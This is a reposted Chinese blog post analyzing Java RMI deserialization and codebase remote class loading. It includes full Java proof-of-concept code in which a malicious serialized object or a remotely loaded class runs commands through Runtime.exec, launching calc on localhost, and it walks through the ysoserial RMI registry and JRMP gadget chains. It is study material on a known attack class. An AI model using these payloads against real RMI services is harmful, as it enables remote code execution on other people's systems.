Java RMI反序列化总结篇-01

1.java rmi反序列化

RMI 允许一个应用程序访问另外一个服务器或虚拟机上的对象,方法和服务,它使远程方法调用就像在本地调用一样简单。它为用户屏蔽了底层的网络传输细节,使用的时候只需适当处理异常即可。所以 RMI 是非常容易使用的,但同时是非常强大的。

RMI 协议的数据序列化目前支持以下两种模式:
1.基于 JDK 本身的对象序列化
2.基于 HTTP 协议的数据序列化

关于rmi客户端和服务端通信的过程,java的方法都实现在rmi服务端,客户端实际上是通过访问rmi注册表拿到stub,然后再通过它调用服务端方法,那么调用方法时要传递参数,参数可以为一般类型,也可以为引用类型,那么如果为引用类型,就能够利用服务端已经有的gaget chain来打server,因为参数实际上是序列化传输的,那么数据到达服务端后必定会经过反序列化。

Stub和Skeleton:这两个的身份是一致的,都是作为代理的存在。

客户端:

RMIClient.java

package com.longofo.javarmi;import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIClient {/*** Java RMI恶意利用demo** @param args* @throws Exception*/public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);// 获取远程对象的引用Services services = (Services) registry.lookup("Services");PublicKnown malicious = new PublicKnown();malicious.setParam("calc");malicious.setMessage("haha");// 使用远程对象的引用调用对应的方法System.out.println(services.sendMessage(malicious));}
}

此时客户端要打服务端,因此要将恶意的对象作为参数传递到服务端,此时序列化的对象将在服务端反序列化

publicKnown.java

package com.longofo.javarmi;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class PublicKnown extends Message implements Serializable {private static final long serialVersionUID = 7439581476576889858L;private String param;public void setParam(String param) {this.param = param;}private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {in.defaultReadObject();Runtime.getRuntime().exec(this.param);}
}

此时要传递的恶意对象肯定要符合服务端参数类型的定义

服务端:

RMIServer.java

//RMIServer.java
package com.longofo.javarmi;import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;public class RMIServer {/*** Java RMI 服务端** @param args*/public static void main(String[] args) {try {// 实例化服务端远程对象ServicesImpl obj = new ServicesImpl();// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);Registry reg;try {// 创建Registryreg = LocateRegistry.createRegistry(9999);System.out.println("java RMI registry created. port on 9999...");} catch (Exception e) {System.out.println("Using existing registry");reg = LocateRegistry.getRegistry();}//绑定远程对象到Registryreg.bind("Services", services);} catch (RemoteException e) {e.printStackTrace();} catch (AlreadyBoundException e) {e.printStackTrace();}}
}

服务端在创建注册表服务时,在返回的RegistryImpl中调用setup,实际上封装了一个UnicastServerRef,在setup函数中,RegistryImpl由于继承RemoteServer,又间接继承自RemoteObject,因此其具有RemoteRef这个filed,即this.ref,此时就把UnicastServerRef赋值给ref(子类对象指向父类引用),接着调用UnicastServerRefe的xportObject把this.ref传入,跟进exportObject可以发现这里实际是服务端为RegistryImpl用Remteinvocationhandler创建了一个动态代理,其中被代理的是new的一个UnicastRef,从instanceof RemoteStub可以猜到这个Remote的代理对象应该就是给客户端用的Stub,接着调用this.setSkeleton设置RegisImpl为服务端的skel,即与客户端通信的骨架,流程如下图所示:

从图中就能看到RegisImpl最终传到了createSkeleton函数中,此时得到RegistryImpl类赋给var1,接着拼接上_Skel作为RegistryImpl_skel作为真正服务端接受客户端请求(lookup,rebind等)调用函数的类,对应的文件就是

 到这里服务端就设置完了骨架 ,接着下一步封装完毕后,接着就到了连接层了,这个target包含了RegisImpl、UnicastServerRef、创建的stub,LiveRef的id和一个boolean值,此时再调用this.ref,即LiveRef的exportObject传入Target,这里就到了TCPTranport的exportObject,里面调用listen来等待客户端的连接,最终获得一个可以发布服务的TCPEndpoint对象,并调用该对象把服务(Target)暴露出去

 jdk里面也已经说了RemoteRef代表对远程对象具体的具体处理,客户端拿着RemoteStub使用远程引用来调用远程对象的方法。

ServiceImpl.javapackage com.longofo.javarmi;import java.rmi.RemoteException;public class ServicesImpl implements Services {public ServicesImpl() throws RemoteException {}@Overridepublic Object sendMessage(Message msg) throws RemoteException {return msg.getMessage();}
}
Service.javapackage com.longofo.javarmi;import java.rmi.RemoteException;public interface Services extends java.rmi.Remote {Object sendMessage(Message msg) throws RemoteException;
}
Message.javapackage com.longofo.javarmi;import java.io.Serializable;public class Message implements Serializable {private static final long serialVersionUID = -6210579029160025375L;private String msg;public Message() {}public String getMessage() {System.out.println("Processing message: " + msg);return msg;}public void setMessage(String msg) {this.msg = msg;}
}

所以这里服务端存在漏洞的即为ServicesImpl类,其存在一个方法其入口参数为Message对象,并且这里Message这个类是继承自Serializable,即可以进行反序列化。服务端通过bind()函数绑定远程对象到RMI注册表中,此时客户端即可以访问RMI注册表拿到stub,即可调用服务端的方法,比如sendMessage()函数

此时先启动RMIServer.java,然后再启动RMIClient.java,即可达到打rmi服务端的效果,这里jdk版本为1.6

在服务端的readObject处下断点,即可看到调用栈,经过ConnectHandler后就能够确定服务端要反序列化的类名

 接下来就是通过反射调用PublicKnown类的readObject方法 ,进而到达readObject内部的命令执行代码段

所以这里客户端肯定要知道服务端有哪些可以调用的方法,以及服务端被调用的方法入口参数要满足要求,这里在现实情况中应该很少能够遇到,这里肯定只作为例子来学习。当然反序列化的类可以是本地的gadget,这个例子的测试没有jdk版本限制,在jdk1.8.202也可以成功,这些限制太大了。在这里实际上就是拿到ServicesImpl的引用,lookup函数查找的也一定是存在与rmi注册表中存在的对象并拿到引用,并不是直接拷贝了一份该类的对象到本地来,拿到引用之后再去调用该类的方法,传参到服务端,最后反序列化执行在服务端。

tip:服务端要绑定到rmi 注册表的对象实现的接口必须继承自remote,而该对象所对应的接口实现类必须继承UnicastRemoteObject,否则需要使用静态方法exportObject处理该对象

在服务端创建注册标服务时调用createRegistry,此时服务端执行后返回的是类RegistryImpl的实例,然后调用其bind

  

其中bindings就是一个hashtable,那么实际上在服务端bind的时候就是单纯的执行一个放入远程对象到hashtable中的操作

那么客户端调用getRegistry实际上根据jdk源码注释可以看到拿到的是远程注册表服务的引用,称作为stub

 然而客户端最终返回的不是RegistryIMPL,返回的是一个动态代理封装过后的Registry对象

 所以这里说明用的是注册表对象的远程引用,也就是RegistryImpl_stub,对应的rt.jar!\sun\rmi\registry\RegistryImpl_Stub.class中客户端可以执行的操作如下所示:

new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

 一共有5种,那么实际在通信过程中对应的就是服务端的RegistryImpl_skel,其中dispatch方法中将根据stub传输的var3变量,也就是客户端想要执行的方法对应的标识值来进入不同的分支进行处理,var4就是标识stub和skel的hash,这样通信就对应起来了。

放一张seebug的图, 所以客户端要访问远程对象就由服务端首先把远程对象注册到注册表,然后客户端先访问注册表拿到远程对象的stub以后,此时就可以像访问本地一样调用远程对象方法,底层由stub再接受客户端的参数和方法,然后就是stub作为代理再帮客户端请求服务端,把参数和方法都发送到服务端,服务端接收到参数和方法后,在服务端进行执行,再把返回结果给客户端的stub,stub再给客户端,所以客户端实际上看不到底层的通信逻辑,这种架构设计已经屏蔽了底层通信。

 

 ysoserial中有对注册表的直接攻击为,RMIRegistryExploit,其中调用registry的bind来绑定远程对象,remote是用cc1封装的一个代理,其中invocationhandler用的就是annotationinvocationahandler,把cc1通过调用createMap放到map再给annotationinvocationahandler的membervalues

 

然后创建动态代理,接口就是Remote.class,handler就是annotationinvocationhandler,最后再Remote.class.cast将动态代理转换为Remote对象,那么做到这一步,外层封装的看起来就是一个正常的远程对象,精华就在handler中,最后构造好Remote对象以后,再通过调用bind将其绑定到注册表中,就能够触发注册表端的RMI反序列化。

这里注意一下如果想打注册表,但是AnnotaionInvocationhandler被过滤了,也就是此时用该类作为动态代理的handler不能用了,所以此时就要找到其他的handler,并且要把最终的gadget放到里面,ysoserial中的payloads/JRMPClient就实现了该功能用来进行绕过:

 这里要封装一个Registry对象,而Registry是继承Remote类的

所以Registry可以被作为远程对象进行注册表绑定,这里的handler用的是RemoteObjectInvocationHandler作为动态代理的handler,封装这个handler需要objid(标识唯一的远程对象),而该类构造函数需要传一个RemoteRef

所以这里又封装了一个UnicastRef,作为注册端反序列化的对象(反序列化它然后回连JRMPListener),因为UnicastRef实现RemoteRef接口

 客户端获取服务端Rgistry代理

 客户端通过指定host和port来获取远程对象的引用,根绝jdk注释也就是获得reference(a stub)

这里把注册表的host和port封装进UnicastRef,然后构造一个RemoteRef,接着再用动态代理来代理Registry,其中RemoteObjectInvocationHandler中包含着UnicastRef,即远程注册表的host和port,这样客户端便有了服务端的RegistryImpl的代理,即客户端有了RegistryImpl_Stub。

2.java rmi 动态加载类

2.1RMI服务端打客户端

java rmi动态加载类,其实就是通过指定codebase来制定远程的类仓库,我们知道java在运行过程中需要类的时候可以在本地加载,即在classpath中找,那么也可以通过codebase来指定远程库。默认是不允许远程加载的,如需加载则需要安装RMISecurityManager并且配置java.security.policy。并且需要java.rmi.server.useCodebaseOnly 的值必需为false,当然这也是受jdk版本限制的。

RMIClient.javapackage com.longofo.javarmi;import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIClient1 {/*** Java RMI恶意利用demo** @param args* @throws Exception*/public static void main(String[] args) throws Exception {//如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库System.setProperty("java.security.policy", RMIClient1.class.getClassLoader().getResource("java.policy").getFile());RMISecurityManager securityManager = new RMISecurityManager();System.setSecurityManager(securityManager);Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);// 获取远程对象的引用Services services = (Services) registry.lookup("Services");Message message = new Message();message.setMessage("hahaha");services.sendMessage(message);}
}

此时RMI客户端正常操作,传入Message对象,并调用服务端sendMessage方法

ServiceImpl.javapackage com.longofo.javarmi;import com.longofo.remoteclass.ExportObject;import java.rmi.RemoteException;public class ServicesImpl1 implements Services {@Overridepublic ExportObject sendMessage(Message msg) throws RemoteException {return new ExportObject();}
}

可以看到此时服务端实现Services接口的类的sendMessage方法返回值为ExportObject类型,即该类的实例

ExportObject.java

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//package com.longofo.remoteclass;import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;public class ExportObject implements ObjectFactory, Serializable {private static final long serialVersionUID = 4474289574195395731L;public ExportObject() {}public static void exec(String cmd) throws Exception {String sb = "";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr;String lineStr;for(inBr = new BufferedReader(new InputStreamReader(in)); (lineStr = inBr.readLine()) != null; sb = sb + lineStr + "\n") {}inBr.close();in.close();}public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {return null;}static {try {exec("calc");} catch (Exception var1) {var1.printStackTrace();}}
}

这里实际上服务端返回的即为该ExportObject类的实例,该类是实现了对象工厂类,并且可以序列化的,所以可以通过jrmp进行传输,我们只需要将其编译放在服务器端指定的codebase地址即可等待客户端来加载,当客户端远程加载该类时将会实例化该类,即调用该类的static代码段

RMIServer.java

package com.longofo.javarmi;import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;public class RMIServer1 {public static void main(String[] args) {try {// 实例化服务端远程对象ServicesImpl1 obj = new ServicesImpl1();// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);//设置java.rmi.server.codebaseSystem.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");Registry reg;try {// 创建Registryreg = LocateRegistry.createRegistry(9999);System.out.println("java RMI registry created. port on 9999...");} catch (Exception e) {System.out.println("Using existing registry");reg = LocateRegistry.getRegistry();}//绑定远程对象到Registryreg.bind("Services", services);} catch (RemoteException e) {e.printStackTrace();} catch (AlreadyBoundException e) {e.printStackTrace();}}
}

此时RMIServer端指定了客户端codebase的地址,即客户端反序列化ExportObject时需要加载该类,此时将通过服务端提供的codebase来加载

此时先启动托管远程类的服务端,将ExportObject.class放在codebase指定的位置,这里要注意包名要和目录名相一致

然后启动RMI服务端,启动RMI客户端,即完成了客户端要调用sendMessage方法,此时服务端返回了ExportObject对象,客户端发现返回的是ExportObject对象后,那将在本地的classpath中没找到该类,则通过服务端指定的codebase来加载该类,加载该类的后将实例化该类,从而触发calc

此时托管class的http服务端也收到了加载class文件的请求

这种方法相对于第一种来说打客户端只需要拿到RMI中对象的引用,调用服务器上的方法即可,这里服务器是攻击者控制的,只需要在方法中返回恶意对象即可,当然如前面所说,这里是需要securitManager和useCodebaseOnly为false以及jdk限制的,这里是服务端指定javacodebase的。

2.2RMI客户端打服务端

RMIClient.java

package com.longofo.javarmi;import com.longofo.remoteclass.ExportObject1;import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIClient2 {public static void main(String[] args) throws Exception {System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999);// 获取远程对象的引用Services services = (Services) registry.lookup("Services");ExportObject1 exportObject1 = new ExportObject1();exportObject1.setMessage("hahaha");services.sendMessage(exportObject1);}
}

上面RMI客户端打RMI服务端是服务端来指定codebase地址供客户端参考,客户端来加载codebase地址的class文件,那么从上面这段代码可以看到此时是客户端指定了codebase地址,那么当然服务端就得从客户端指定的codebase来加载class了,可以看到此时客户端调用服务端的sendMessage函数传递的是ExportObject1对象

ExportObject1.java

package com.longofo.remoteclass;import com.longofo.javarmi.Message;import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.Serializable;
import java.util.Hashtable;public class ExportObject1 extends Message implements ObjectFactory, Serializable {private static final long serialVersionUID = 4474289574195395731L;public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {return null;}
}

此时该类继承自Message类,实现对象工厂接口,并且支持序列化

ServiceImpl.java

package com.longofo.javarmi;import java.rmi.RemoteException;public class ServicesImpl implements Services {public ServicesImpl() throws RemoteException {}@Overridepublic Object sendMessage(Message msg) throws RemoteException {return msg.getMessage();}
}

RMIServer.java

//RMIServer2.java
package com.longofo.javarmi;import java.rmi.AlreadyBoundException;
import java.rmi.RMISecurityManager;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;public class RMIServer2 {/*** Java RMI 服务端** @param args*/public static void main(String[] args) {try {// 实例化服务端远程对象ServicesImpl obj = new ServicesImpl();// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);Registry reg;try {//如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile());RMISecurityManager securityManager = new RMISecurityManager();System.setSecurityManager(securityManager);// 创建Registryreg = LocateRegistry.createRegistry(9999);System.out.println("java RMI registry created. port on 9999...");} catch (Exception e) {System.out.println("Using existing registry");reg = LocateRegistry.getRegistry();}//绑定远程对象到Registryreg.bind("Services", services);} catch (RemoteException e) {e.printStackTrace();} catch (AlreadyBoundException e) {e.printStackTrace();}}
}

可以由以上代码看到,此时RMI服务端绑定的services接口对应的ServicesImpl.java中sendMessage函数将会调用入口参数Message类型对象的getmessage函数,这里方法体内容是什么并不重要,因为这种打法和第一节中的打法一样,都是打RMI服务端,区别是第一节是利用RMI服务端本地的gaget chain,而这里则是利用远程类加载,通过客户端指定的codebase来打RMI服务端。

 所以此时codebase的地址也将受到请求ExportObject1.class的请求,因为服务端发现穿送过来的ExportObject1类classpath里面没有,所有就会通过客户端指定的codebase加载,从而实例化该恶意ExportObject1类,执行static代码块的命令

所以上面两个例子,客户端打RMI服务端,以及RMI服务端打客户端都是利用RMI的调用过程:

1.客户端打RMI服务端,客户端调用服务端方法,此时传给服务端的的参数可控则可能存在风险(这种条件挺难满足)

2.RMI打客户端,RMI服务端返回给客户端的结果是服务端可控的,则该结果则可能存在风险(lookup可控,并且恶意RMI服务端也要自己实现)

和以前分析其他漏洞时的逻辑还是比较相似的,可控即可能存在风险

关于客户端和服务端互打里面,因为要传递序列化的对象,序列化的过程中要知道serialVersionUID,要传递的反序列化的对象的包名,类名必须要与服务端一致,这里serialVersionID在访问的文章审核中... - FreeBuf网络安全行业门户这篇文章中说第一次不传递id参数服务端将会返回id值,但是我本地测jdk1.6.01这里客户端不加id值,也能够打成功。

RMI-JRMP

上面说的RMI通信过程中假设客户端在与RMI服务端通信中,虽然也是在JRMP协议上进行通信,尝试传输序列化的恶意对象到服务端,此时服务端若也返回客户端一个恶意序列化的对象,那么客户端也可能被攻击,利用JRMP就可以利用socket进行通信,客户端直接利用JRMP协议发送数据,而不用接受服务端的返回,因此这种攻击方式也更加安全。

比如服务端此时启用RMI服务,那么就可以用yso的exploit/JRMPClient来打rmi服务端

jdk1.7.0_25

如有错误,务必请指出。

参考:https://www.anquanke.com/post/id/194384#h3-3

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/12072.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

哪款骨传导耳机最值得入手?精选5款顶尖配置的骨传导耳机,闭眼入也不踩雷!

作为一名有着多年工作经验的数码博主&#xff0c;我见证了无数因盲目追求新颖而引发的听力问题。在此&#xff0c;我必须郑重提醒大家&#xff0c;虽然市面上充斥着众多声称能提供卓越音质和佩戴舒适度的骨传导耳机品牌&#xff0c;但它们之间存在大量劣质产品&#xff0c;这类…

centos7安装zabbix-server

zabbixan-server安装 环境安装zabbix安装zabbix配置apachezabbix-UI前端配置修改zabbix为中文语言 环境 准备&#xff1a; centos7系统、mysql数据库/MariaDB数据库 mysql数据库可参照&#xff1a;https://blog.csdn.net/weixin_61367575/article/details/138774428?spm1001.…

算法-卡尔曼滤波之卡尔曼滤波的第二个方程:预测方程(状态外推方程)

在上一节中&#xff0c;使用了静态模型&#xff0c;我们推导出了卡尔曼滤波的状态更新方程&#xff0c;但是在实际情况下&#xff0c;系统都是动态&#xff0c;预测阶段&#xff0c;前后时刻的状态是改变的&#xff0c;此时我们引入预测方程&#xff0c;也叫状态外推方程&#…

企业为什么进行大数据迁移以及注意事项

在当今数字化时代&#xff0c;数据的迁移成为了企业优化其数据架构、提高数据处理能力、确保业务连续性和数据安全的关键步骤。企业可能出于多种原因&#xff0c;如成本效益、性能提升、系统升级、数据集中管理或云服务集成等&#xff0c;选择将数据从一个存储系统迁移到另一个…

Spring Boot 整合讯飞星火3.5通过接口Api接口实现聊天功能(首发)复制粘贴即可使用,后续更新WebSocket实现聊天功能

程序员必备网站&#xff1a; 天梦星服务平台 (tmxkj.top)https://tmxkj.top/#/ 1.pom.xml <dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.72</version></dependency><depen…

轻松拿下指针(5)

文章目录 一、回调函数是什么二、qsort使用举例三、qsort函数的模拟实现 一、回调函数是什么 回调函数就是⼀个通过函数指针调⽤的函数。 如果你把函数的指针&#xff08;地址&#xff09;作为参数传递给另⼀个函数&#xff0c;当这个指针被⽤来调⽤其所指向的函数 时&#x…

肺部营养“救星”,让每次呼吸更自由

​#肺科营养#朗格力#班古营养#复合营养素#肺部营养# 正常的健康人,每天自由幸福的呼吸。但是对于肺病患者来说,特别是慢阻肺人群,每一次呼吸都可能是一场挑战,每一口气都显得弥足珍贵。 肺病患者号称沉默的“呼吸杀手”,它虽然沉默,但不代表它没能力,除了引起肺功能下降,氧气…

云商店如何让更多企业摘到技术普惠的“果实”?

文 | 智能相对论 作者 | 沈浪 现阶段&#xff0c;越是工业体系发达的地区&#xff0c;越需要加速技术普惠的步伐。比如&#xff0c;在苏州&#xff0c;华为云就在联合当地政府、企业伙伴打造以华为云云商店为重要链接的智能化商业增长底座。 华为云云商店以“电商式”的购物…

OpenAI春季发布会-免费多模态GPT4O-简介

前言 2024.5.14&#xff0c;OpenAI宣布即将发布一款性能更为强大的大模型GPT4o&#xff0c;虽然没有爆出些超级酷炫无敌吊炸天的新玩意&#xff0c;但是这次的多模态模型&#xff0c;大家可以免费用了~~&#xff08;但是&#xff09; 虽然是免费使用&#xff0c;但官方发布会上…

鸿蒙 DevEcoStudio:用户名密码获取保存

【使用首选项实现用户名密码保存获取】 打开src/main/ets/entryability路径下的EntryAbility.ts文件 在 export default class EntryAbility extends UIAbility {onCreate(want, launchParam) {hilog.info(0x0000, testTag, %{public}s, Ability onCreate);下边添加内容&…

分析 vs2019 c++ 中的 decltype 与 declval

&#xff08;1&#xff09; decltype 可以让推断其参数的类型。按住 ctrl 点击 decltype &#xff0c;会发现无法查阅 其定义 &#xff1a; &#xff08;2&#xff09; 但 STL 库里咱们可以查阅函数 declval 的 定义&#xff0c;很短&#xff0c;摘抄如下&#xff1a; templat…

【氮化镓】高温GaN HEMTs大信号模型——ASM-HEMT

这篇文章的标题是《An ASM-HEMT for Large-Signal Modeling of GaN HEMTs in High-Temperature Applications》&#xff0c;由Nicholas C. Miller等人撰写&#xff0c;发表于2023年9月29日。文章的主要内容是关于一种适用于高温应用的GaN HEMTs&#xff08;高电子迁移率晶体管&…

使用System.Drawing绘制基本几何图形

1.使用System.Drawing绘制一个正方形 using System; using System.Drawing; using System.Windows.Forms;public partial class MyForm : Form {public MyForm(){// 你可以在这里设置Form的双缓冲&#xff0c;以避免绘制时出现的闪烁 this.DoubleBuffered true;}protected o…

Linux——缓冲区

一、问题引入 我们先来看看下面的代码&#xff1a;我们使用了C语言接口和系统调用接口来进行文件操作。在代码的最后&#xff0c;我们还使用fork函数创建了一个子进程。 #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<sys/wait.h&…

将jar打包成exe可安装程序,并在html页面唤醒

一、exe4j将jar打包成exe 1.exe4j下载 下载地址&#xff1a;https://www.ej-technologies.com/download/exe4j/files 2.exe4j打包jar 2.1. welcome 可以选择历史配置&#xff0c;新增则直接下一步 2.2. project type选择“jar in exe” mode 2.3. application info设置应用…

【接口测试_03课_-接口自动化思维梳理及Requests库应用】

一、通过代码&#xff0c;实现Jmeter 1、项目要放在虚拟环境里面&#xff0c;解释器要使用虚拟环境的 上面是虚拟环境&#xff0c;下面是系统环境。2选一 venv目录 查看当前虚拟环境已存在的依赖包 2、安装Requests依赖包 1&#xff09;安装命令 pip install requests 如果…

防火墙技术的演进,什么是下一代防火墙(NGFW)?

防火墙技术的演进 防火墙技术的演进经历了不同阶段&#xff0c;从包过滤防火墙到状态检测防火墙&#xff0c;再到集成多种安全功能的UTM&#xff08;统一威胁管理&#xff09;设备&#xff0c;最终发展到具备应用识别能力的NGFW&#xff08;下一代防火墙&#xff09;。 包过滤…

DTAS 尺寸公差分析及尺寸链计算-建模神器 — 用户DIY装配

工业互联网&#xff08;工业4.0) 是未来智能制造的核心&#xff0c;工业软件是智能制造的灵魂。 相关工业软件及系统的自主研发是智能制造和质量升级转型亟需解决的卡脖子环节&#xff0c;而公差分析软件系统是前期质量研发精准设计、降本增效的关键。 数字化时代&#xff0…

知了汇智副总经理赵懋骏出席“走进阿里”CEO联席会,共话AI大模型新趋势

在智能科技日新月异的今天&#xff0c;汇智知了堂副总经理赵懋骏于3月28日受邀出席了在天府软件园举行的“走进阿里–2024年CEO联席会”&#xff0c;会议聚焦阿里云AI技术的最新进展与行业应用&#xff0c;特别是“AI技术正在加速变革&#xff1a;大模型的历史、现在与趋势”&a…

手撕C语言题典——环形链表的约瑟夫问题

目录 前言 一.故事背景 二.题目 ​编辑三.思路 1&#xff09;数组 ​编辑2&#xff09; 循环链表 四.代码实现 搭配食用更佳哦~~ 数据结构之单单单——链表-CSDN博客 数据结构之单链表的基本操作-CSDN博客 前面学了单链表的相关知识&#xff0c;我们来尝试做一下关于…